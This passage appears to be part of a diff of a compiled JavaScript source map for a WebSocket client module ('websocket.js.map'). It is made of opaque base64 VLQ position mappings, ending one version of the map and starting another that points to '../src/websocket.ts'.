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"}
1
+ {"version":3,"file":"websocket.js","sourceRoot":"","sources":["../src/websocket.ts"],"names":[],"mappings":"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